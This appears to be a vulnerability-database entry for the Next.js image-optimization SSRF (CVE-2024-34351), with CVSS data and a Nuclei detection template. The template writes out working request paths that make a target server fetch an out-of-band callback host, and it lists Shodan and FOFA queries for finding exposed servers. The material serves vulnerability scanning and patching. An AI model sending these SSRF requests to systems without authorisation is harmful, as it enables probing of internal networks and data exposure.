Next.js - Server Side Request Forgery (SSRF)

2024-07-1508:52:14

ProjectDiscovery

github.com

187

cve

vercel

next.js

ssrf

version 14.1.1

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.2

Confidence

Low

EPSS

0.001

Percentile

46.7%

JSON

id: CVE-2024-34351

info:
  name: Next.js - Server Side Request Forgery (SSRF)
  author: righettod
  severity: high
  description: |
    Next.Js, inferior to version 14.1.1, have its image optimization built-in component prone to SSRF.
  remediation: Upgrade to Next.js version 14.1.1 or higher.
  reference:
    - https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34351
    - https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g
    - https://github.com/vercel/next.js/commit/8f7a6ca7d21a97bc9f7a1bbe10427b5ad74b9085
    - https://github.com/vercel/next.js/pull/62561
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-34351
    cwe-id: CWE-918
    epss-score: 0.00062
    epss-percentile: 0.26843
  metadata:
    max-request: 2
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2024,vercel,nextjs,ssrf

http:
  - method: GET
    path:
      - '{{BaseURL}}/_next/image?w=16&q=10&url=http://{{interactsh-url}}'
      - '{{BaseURL}}/_next/image?w=16&q=10&url=https://{{interactsh-url}}'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - 'http'

      - type: word
        part: body
        words:
          - "The requested resource isn't a valid image"
# digest: 4a0a0047304502201cb22b31416f184c4beeafb402db2f170f661e1cb990d6fd5ab034d847bfa51c022100fdeb601572c1a7b843247ef5294a0243a39df1a90310dcb0fc97a3edd48bde6f:922c64590222798bb761d5b6d8e72950